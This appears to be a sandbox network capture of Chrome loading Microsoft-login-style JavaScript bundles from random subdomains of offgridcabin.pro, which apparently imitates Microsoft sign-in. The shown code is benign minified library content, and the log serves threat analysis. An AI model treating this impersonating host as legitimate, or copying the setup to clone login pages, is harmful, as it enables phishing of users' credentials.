2025-01-13 20:53:00 UTC	16383	IN	Data Raw: 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f 74 69 63 65 20 61 Data Ascii: /! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice a
2025-01-13 20:53:00 UTC	1	IN	Data Raw: 29 Data Ascii: )
2025-01-13 20:53:00 UTC	16383	IN	Data Raw: 29 7d 66 6f 72 28 76 61 72 20 6f 3d 30 3b 6f 3c 74 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 6f 5d 2e 73 70 6c 69 74 28 22 2c 22 29 2e 6d 61 70 28 4e 75 6d 62 65 72 29 2c 61 3d 69 5b 30 5d 2c 73 3d 69 5b 31 5d 2c 75 3d 69 5b 32 5d 3b 69 66 28 72 28 65 2c 61 2c 73 2c 75 29 29 72 65 74 75 72 6e 21 30 7d 72 65 74 75 72 6e 21 21 6c 2e 66 69 72 73 74 28 6e 2c 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 3d 3d 3d 65 2e 74 72 69 6d 28 29 7d 29 29 7d 69 66 28 5f 2e 69 73 48 69 67 68 43 6f 6e 74 72 61 73 74 28 29 29 7b 76 61 72 20 74 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 62 6f 64 79 22 29 5b 30 5d 2c 6e 3d 5f 2e 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 74 29 Data Ascii: )}for(var o=0;o<t.length;o++){var i=t[o].split(",").map(Number),a=i[0],s=i[1],u=i[2];if(r(e,a,s,u))return!0}return!!l.first(n,(function(t){return t===e.trim()}))}if(_.isHighContrast()){var t=document.getElementsByTagName("body")[0],n=_.getComputedStyle(t)
2025-01-13 20:53:00 UTC	16383	IN	Data Raw: 50 5f 45 5f 4e 41 4d 45 5f 54 4f 4f 5f 53 48 4f 52 54 3a 22 38 30 30 34 31 31 30 31 22 2c 50 50 5f 45 5f 4e 41 4d 45 5f 49 4e 56 41 4c 49 44 3a 22 38 30 30 34 31 31 30 33 22 2c 50 50 5f 45 5f 49 4e 56 41 4c 49 44 41 52 47 3a 22 38 30 30 34 38 33 38 38 22 2c 50 50 5f 45 5f 53 41 5f 54 4f 4f 53 48 4f 52 54 3a 22 38 30 30 34 31 31 32 30 22 2c 50 50 5f 45 5f 53 41 5f 54 4f 4f 4c 4f 4e 47 3a 22 38 30 30 34 31 31 32 31 22 2c 50 50 5f 45 5f 49 4e 56 41 4c 49 44 5f 50 48 4f 4e 45 4e 55 4d 42 45 52 3a 22 38 30 30 34 31 31 33 46 22 2c 50 50 5f 45 5f 53 45 43 52 45 54 51 5f 43 4f 4e 54 41 49 4e 53 5f 53 45 43 52 45 54 41 3a 22 38 30 30 34 31 31 36 35 22 2c 50 50 5f 45 5f 53 45 43 52 45 54 41 5f 43 4f 4e 54 41 49 4e 53 5f 53 45 43 52 45 54 51 3a 22 38 30 30 34 31 31 Data Ascii: P_E_NAME_TOO_SHORT:"80041101",PP_E_NAME_INVALID:"80041103",PP_E_INVALIDARG:"80048388",PP_E_SA_TOOSHORT:"80041120",PP_E_SA_TOOLONG:"80041121",PP_E_INVALID_PHONENUMBER:"8004113F",PP_E_SECRETQ_CONTAINS_SECRETA:"80041165",PP_E_SECRETA_CONTAINS_SECRETQ:"800411
2025-01-13 20:53:00 UTC	16383	IN	Data Raw: 22 55 49 45 76 65 6e 74 73 22 5d 3d 5b 22 6b 65 79 75 70 22 2c 22 6b 65 79 64 6f 77 6e 22 2c 22 6b 65 79 70 72 65 73 73 22 5d 2c 70 2e 4d 6f 75 73 65 45 76 65 6e 74 73 3d 22 63 6c 69 63 6b 20 64 62 6c 63 6c 69 63 6b 20 6d 6f 75 73 65 64 6f 77 6e 20 6d 6f 75 73 65 75 70 20 6d 6f 75 73 65 6d 6f 76 65 20 6d 6f 75 73 65 6f 76 65 72 20 6d 6f 75 73 65 6f 75 74 20 6d 6f 75 73 65 65 6e 74 65 72 20 6d 6f 75 73 65 6c 65 61 76 65 22 2e 73 70 6c 69 74 28 22 20 22 29 2c 65 28 70 2c 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 74 2e 6c 65 6e 67 74 68 29 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 74 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 68 5b 74 5b 6e 5d 5d 3d 65 7d 29 29 3b 76 61 72 20 67 2c 6d 3d 7b 70 72 6f 70 65 72 74 79 63 68 61 6e 67 65 3a 21 30 Data Ascii: "UIEvents"]=["keyup","keydown","keypress"],p.MouseEvents="click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave".split(" "),e(p,(function(e,t){if(t.length)for(var n=0,r=t.length;n<r;n++)h[t[n]]=e}));var g,m={propertychange:!0
2025-01-13 20:53:00 UTC	16383	IN	Data Raw: 2c 6f 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6e 29 72 65 74 75 72 6e 20 6e 2e 6f 7d 7d 7d 28 29 2c 53 2e 62 28 22 63 6f 6d 70 75 74 65 64 43 6f 6e 74 65 78 74 22 2c 53 2e 53 29 2c 53 2e 62 28 22 63 6f 6d 70 75 74 65 64 43 6f 6e 74 65 78 74 2e 67 65 74 44 65 70 65 6e 64 65 6e 63 69 65 73 43 6f 75 6e 74 22 2c 53 2e 53 2e 71 61 29 2c 53 2e 62 28 22 63 6f 6d 70 75 74 65 64 43 6f 6e 74 65 78 74 2e 67 65 74 44 65 70 65 6e 64 65 6e 63 69 65 73 22 2c 53 2e 53 2e 56 61 29 2c 53 2e 62 28 22 63 6f 6d 70 75 74 65 64 43 6f 6e 74 65 78 74 2e 69 73 49 6e 69 74 69 61 6c 22 2c 53 2e 53 2e 59 61 29 2c 53 2e 62 28 22 63 6f 6d 70 75 74 65 64 43 6f 6e 74 65 78 74 2e 72 65 67 69 73 74 65 72 44 65 70 65 6e 64 65 6e 63 79 22 2c 53 2e 53 2e 63 63 29 2c 53 2e 62 28 22 69 67 Data Ascii: ,o:function(){if(n)return n.o}}}(),S.b("computedContext",S.S),S.b("computedContext.getDependenciesCount",S.S.qa),S.b("computedContext.getDependencies",S.S.Va),S.b("computedContext.isInitial",S.S.Ya),S.b("computedContext.registerDependency",S.S.cc),S.b("ig
2025-01-13 20:53:00 UTC	16383	IN	Data Raw: 2b 53 2e 6d 2e 76 62 28 65 2c 72 29 2b 22 7d 7d 7d 22 3b 73 3d 6e 65 77 20 46 75 6e 63 74 69 6f 6e 28 22 24 63 6f 6e 74 65 78 74 22 2c 22 24 65 6c 65 6d 65 6e 74 22 2c 75 29 2c 6f 3d 69 5b 61 5d 3d 73 7d 72 65 74 75 72 6e 20 6f 28 74 2c 6e 29 7d 63 61 74 63 68 28 63 29 7b 74 68 72 6f 77 20 63 2e 6d 65 73 73 61 67 65 3d 22 55 6e 61 62 6c 65 20 74 6f 20 70 61 72 73 65 20 62 69 6e 64 69 6e 67 73 2e 5c 6e 42 69 6e 64 69 6e 67 73 20 76 61 6c 75 65 3a 20 22 2b 65 2b 22 5c 6e 4d 65 73 73 61 67 65 3a 20 22 2b 63 2e 6d 65 73 73 61 67 65 2c 63 7d 7d 7d 29 2c 53 2e 67 61 2e 69 6e 73 74 61 6e 63 65 3d 6e 65 77 20 53 2e 67 61 2c 53 2e 62 28 22 62 69 6e 64 69 6e 67 50 72 6f 76 69 64 65 72 22 2c 53 2e 67 61 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e Data Ascii: +S.m.vb(e,r)+"}}}";s=new Function("$context","$element",u),o=i[a]=s}return o(t,n)}catch(c){throw c.message="Unable to parse bindings.\nBindings value: "+e+"\nMessage: "+c.message,c}}}),S.ga.instance=new S.ga,S.b("bindingProvider",S.ga),function(){function
2025-01-13 20:53:00 UTC	16383	IN	Data Raw: 55 6e 73 65 74 22 29 26 26 6e 2e 68 61 73 28 22 76 61 6c 75 65 22 29 2c 64 3d 6e 2e 67 65 74 28 22 6f 70 74 69 6f 6e 73 49 6e 63 6c 75 64 65 44 65 73 74 72 6f 79 65 64 22 29 3b 74 3d 7b 7d 3b 76 61 72 20 66 2c 70 3d 5b 5d 3b 6c 7c 7c 28 73 3f 70 3d 53 2e 61 2e 4d 62 28 72 28 29 2c 53 2e 77 2e 4d 29 3a 30 3c 3d 65 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 26 26 70 2e 70 75 73 68 28 53 2e 77 2e 4d 28 65 2e 6f 70 74 69 6f 6e 73 5b 65 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 5d 29 29 29 2c 63 26 26 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 63 2e 6c 65 6e 67 74 68 26 26 28 63 3d 5b 63 5d 29 2c 66 3d 53 2e 61 2e 6a 62 28 63 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 64 7c 7c 65 3d 3d 3d 61 7c 7c 6e 75 6c 6c 3d 3d 3d 65 Data Ascii: Unset")&&n.has("value"),d=n.get("optionsIncludeDestroyed");t={};var f,p=[];l\|\|(s?p=S.a.Mb(r(),S.w.M):0<=e.selectedIndex&&p.push(S.w.M(e.options[e.selectedIndex]))),c&&("undefined"==typeof c.length&&(c=[c]),f=S.a.jb(c,(function(e){return d\|\|e===a\|\|null===e
2025-01-13 20:53:00 UTC	16383	IN	Data Raw: 65 74 75 72 6e 20 69 7c 7c 28 69 3d 74 2e 74 65 78 74 28 29 7c 7c 22 22 2c 69 3d 6c 2e 74 65 6d 70 6c 61 74 65 28 6e 75 6c 6c 2c 22 7b 7b 6b 6f 5f 77 69 74 68 20 24 69 74 65 6d 2e 6b 6f 42 69 6e 64 69 6e 67 43 6f 6e 74 65 78 74 7d 7d 22 2b 69 2b 22 7b 7b 2f 6b 6f 5f 77 69 74 68 7d 7d 22 29 2c 74 2e 64 61 74 61 28 22 70 72 65 63 6f 6d 70 69 6c 65 64 22 2c 69 29 29 2c 74 3d 5b 6e 2e 24 64 61 74 61 5d 2c 6e 3d 6c 2e 65 78 74 65 6e 64 28 7b 6b 6f 42 69 6e 64 69 6e 67 43 6f 6e 74 65 78 74 3a 6e 7d 2c 72 2e 74 65 6d 70 6c 61 74 65 4f 70 74 69 6f 6e 73 29 2c 28 6e 3d 6c 2e 74 6d 70 6c 28 69 2c 74 2c 6e 29 29 2e 61 70 70 65 6e 64 54 6f 28 6f 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 29 2c 6c 2e 66 72 61 67 6d 65 6e 74 73 3d 7b 7d 2c 6e 7d 2c Data Ascii: eturn i\|\|(i=t.text()\|\|"",i=l.template(null,"{{ko_with $item.koBindingContext}}"+i+"{{/ko_with}}"),t.data("precompiled",i)),t=[n.$data],n=l.extend({koBindingContext:n},r.templateOptions),(n=l.tmpl(i,t,n)).appendTo(o.createElement("div")),l.fragments={},n},
2025-01-13 20:53:00 UTC	11302	IN	Data Raw: 2c 67 3d 65 2e 6e 6f 74 69 66 79 4f 6e 43 6c 69 65 6e 74 41 62 6f 72 74 7c 7c 21 31 2c 6d 3d 6c 2e 53 65 72 76 65 72 44 61 74 61 2e 66 53 61 73 45 6e 64 41 75 74 68 50 6f 73 74 54 6f 47 65 74 53 77 69 74 63 68 2c 76 3d 6c 2e 53 65 72 76 65 72 44 61 74 61 2e 66 46 69 78 55 49 43 72 61 73 68 46 6f 72 41 70 69 52 65 71 75 65 73 74 48 61 6e 64 6c 65 72 3b 66 75 6e 63 74 69 6f 6e 20 62 28 65 29 7b 76 61 72 20 74 3d 7b 68 70 67 69 64 3a 64 2e 68 70 67 69 64 7c 7c 30 2c 68 70 67 61 63 74 3a 64 2e 68 70 67 61 63 74 7c 7c 30 7d 3b 72 65 74 75 72 6e 20 65 7c 7c 28 74 2e 41 63 63 65 70 74 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 22 2c 6e 26 26 64 2e 61 70 69 43 61 6e 61 72 79 26 26 28 74 2e 63 61 6e 61 72 79 3d 64 2e 61 70 69 43 61 6e 61 72 79 29 29 2c Data Ascii: ,g=e.notifyOnClientAbort\|\|!1,m=l.ServerData.fSasEndAuthPostToGetSwitch,v=l.ServerData.fFixUICrashForApiRequestHandler;function b(e){var t={hpgid:d.hpgid\|\|0,hpgact:d.hpgact\|\|0};return e\|\|(t.Accept="application/json",n&&d.apiCanary&&(t.canary=d.apiCanary)),

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	49841	104.168.175.55	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:53:01 UTC	536	OUT	GET /ests/2.1/content/cdnbundles/watsonsupportwithjquery.3.5.min_dc940oomzau4rsu8qesnvg2.js HTTP/1.1 Host: kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999
2025-01-13 20:53:01 UTC	17	IN	HTTP/1.1 200 OK
2025-01-13 20:53:01 UTC	22	IN	Data Raw: 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a Data Ascii: Accept-Ranges: bytes
2025-01-13 20:53:01 UTC	32	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a Data Ascii: Access-Control-Allow-Origin: *
2025-01-13 20:53:01 UTC	202	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 45 78 70 6f 73 65 2d 48 65 61 64 65 72 73 3a 20 78 2d 6d 73 2d 72 65 71 75 65 73 74 2d 69 64 2c 53 65 72 76 65 72 2c 78 2d 6d 73 2d 76 65 72 73 69 6f 6e 2c 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 45 6e 63 6f 64 69 6e 67 2c 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 2c 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 2c 45 54 61 67 2c 78 2d 6d 73 2d 6c 65 61 73 65 2d 73 74 61 74 75 73 2c 78 2d 6d 73 2d 62 6c 6f 62 2d 74 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 2c 44 61 74 65 2c 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 0d 0a Data Ascii: Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
2025-01-13 20:53:01 UTC	41	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a Data Ascii: Cache-Control: public, max-age=31536000
2025-01-13 20:53:01 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-13 20:53:01 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/x-javascript
2025-01-13 20:53:01 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 4d 6f 6e 2c 20 31 33 20 4a 61 6e 20 32 30 32 35 20 32 30 3a 35 33 3a 30 31 20 47 4d 54 0d 0a Data Ascii: Date: Mon, 13 Jan 2025 20:53:01 GMT
2025-01-13 20:53:01 UTC	25	IN	Data Raw: 45 74 61 67 3a 20 30 78 38 44 38 44 41 31 44 39 39 37 43 41 32 34 35 0d 0a Data Ascii: Etag: 0x8D8DA1D997CA245
2025-01-13 20:53:01 UTC	46	IN	Data Raw: 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 46 72 69 2c 20 32 36 20 46 65 62 20 32 30 32 31 20 30 36 3a 31 33 3a 31 33 20 47 4d 54 0d 0a Data Ascii: Last-Modified: Fri, 26 Feb 2021 06:13:13 GMT
2025-01-13 20:53:01 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	49844	104.168.175.55	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:53:01 UTC	699	OUT	GET /ests/2.1/content/cdnbundles/frameworksupport.min_oadrnc13magb009k4d20lg2.js HTTP/1.1 Host: kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 20:53:01 UTC	17	IN	HTTP/1.1 200 OK
2025-01-13 20:53:01 UTC	22	IN	Data Raw: 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a Data Ascii: Accept-Ranges: bytes
2025-01-13 20:53:01 UTC	32	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a Data Ascii: Access-Control-Allow-Origin: *
2025-01-13 20:53:01 UTC	202	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 45 78 70 6f 73 65 2d 48 65 61 64 65 72 73 3a 20 78 2d 6d 73 2d 72 65 71 75 65 73 74 2d 69 64 2c 53 65 72 76 65 72 2c 78 2d 6d 73 2d 76 65 72 73 69 6f 6e 2c 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 45 6e 63 6f 64 69 6e 67 2c 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 2c 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 2c 45 54 61 67 2c 78 2d 6d 73 2d 6c 65 61 73 65 2d 73 74 61 74 75 73 2c 78 2d 6d 73 2d 62 6c 6f 62 2d 74 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 2c 44 61 74 65 2c 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 0d 0a Data Ascii: Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
2025-01-13 20:53:01 UTC	41	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a Data Ascii: Cache-Control: public, max-age=31536000
2025-01-13 20:53:01 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-13 20:53:01 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/x-javascript
2025-01-13 20:53:01 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 4d 6f 6e 2c 20 31 33 20 4a 61 6e 20 32 30 32 35 20 32 30 3a 35 33 3a 30 31 20 47 4d 54 0d 0a Data Ascii: Date: Mon, 13 Jan 2025 20:53:01 GMT
2025-01-13 20:53:01 UTC	25	IN	Data Raw: 45 74 61 67 3a 20 30 78 38 44 38 37 36 43 42 31 44 36 37 42 39 32 39 0d 0a Data Ascii: Etag: 0x8D876CB1D67B929
2025-01-13 20:53:01 UTC	46	IN	Data Raw: 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 54 68 75 2c 20 32 32 20 4f 63 74 20 32 30 32 30 20 32 30 3a 34 33 3a 32 31 20 47 4d 54 0d 0a Data Ascii: Last-Modified: Thu, 22 Oct 2020 20:43:21 GMT
2025-01-13 20:53:01 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	49843	152.199.21.175	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:53:01 UTC	410	OUT	GET /shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 20:53:01 UTC	750	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 8881807 Cache-Control: public, max-age=31536000 Content-MD5: m5bMCfnonQM0ui+8IrUZeg== Content-Type: application/x-javascript Date: Mon, 13 Jan 2025 20:53:01 GMT Etag: 0x8DCE31CBE97473C Last-Modified: Wed, 02 Oct 2024 19:59:37 GMT Server: ECAcc (lhc/78AB) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: fb7c97c3-801e-0062-1535-154340000000 x-ms-version: 2009-09-19 Content-Length: 142367 Connection: close
2025-01-13 20:53:01 UTC	16383	IN	Data Raw: 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f 74 69 63 65 20 61 Data Ascii: /! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice a
2025-01-13 20:53:01 UTC	1	IN	Data Raw: 29 Data Ascii: )
2025-01-13 20:53:01 UTC	16383	IN	Data Raw: 29 7d 66 6f 72 28 76 61 72 20 6f 3d 30 3b 6f 3c 74 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 6f 5d 2e 73 70 6c 69 74 28 22 2c 22 29 2e 6d 61 70 28 4e 75 6d 62 65 72 29 2c 61 3d 69 5b 30 5d 2c 73 3d 69 5b 31 5d 2c 75 3d 69 5b 32 5d 3b 69 66 28 72 28 65 2c 61 2c 73 2c 75 29 29 72 65 74 75 72 6e 21 30 7d 72 65 74 75 72 6e 21 21 6c 2e 66 69 72 73 74 28 6e 2c 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 3d 3d 3d 65 2e 74 72 69 6d 28 29 7d 29 29 7d 69 66 28 5f 2e 69 73 48 69 67 68 43 6f 6e 74 72 61 73 74 28 29 29 7b 76 61 72 20 74 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 62 6f 64 79 22 29 5b 30 5d 2c 6e 3d 5f 2e 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 74 29 Data Ascii: )}for(var o=0;o<t.length;o++){var i=t[o].split(",").map(Number),a=i[0],s=i[1],u=i[2];if(r(e,a,s,u))return!0}return!!l.first(n,(function(t){return t===e.trim()}))}if(_.isHighContrast()){var t=document.getElementsByTagName("body")[0],n=_.getComputedStyle(t)
2025-01-13 20:53:01 UTC	16383	IN	Data Raw: 50 5f 45 5f 4e 41 4d 45 5f 54 4f 4f 5f 53 48 4f 52 54 3a 22 38 30 30 34 31 31 30 31 22 2c 50 50 5f 45 5f 4e 41 4d 45 5f 49 4e 56 41 4c 49 44 3a 22 38 30 30 34 31 31 30 33 22 2c 50 50 5f 45 5f 49 4e 56 41 4c 49 44 41 52 47 3a 22 38 30 30 34 38 33 38 38 22 2c 50 50 5f 45 5f 53 41 5f 54 4f 4f 53 48 4f 52 54 3a 22 38 30 30 34 31 31 32 30 22 2c 50 50 5f 45 5f 53 41 5f 54 4f 4f 4c 4f 4e 47 3a 22 38 30 30 34 31 31 32 31 22 2c 50 50 5f 45 5f 49 4e 56 41 4c 49 44 5f 50 48 4f 4e 45 4e 55 4d 42 45 52 3a 22 38 30 30 34 31 31 33 46 22 2c 50 50 5f 45 5f 53 45 43 52 45 54 51 5f 43 4f 4e 54 41 49 4e 53 5f 53 45 43 52 45 54 41 3a 22 38 30 30 34 31 31 36 35 22 2c 50 50 5f 45 5f 53 45 43 52 45 54 41 5f 43 4f 4e 54 41 49 4e 53 5f 53 45 43 52 45 54 51 3a 22 38 30 30 34 31 31 Data Ascii: P_E_NAME_TOO_SHORT:"80041101",PP_E_NAME_INVALID:"80041103",PP_E_INVALIDARG:"80048388",PP_E_SA_TOOSHORT:"80041120",PP_E_SA_TOOLONG:"80041121",PP_E_INVALID_PHONENUMBER:"8004113F",PP_E_SECRETQ_CONTAINS_SECRETA:"80041165",PP_E_SECRETA_CONTAINS_SECRETQ:"800411
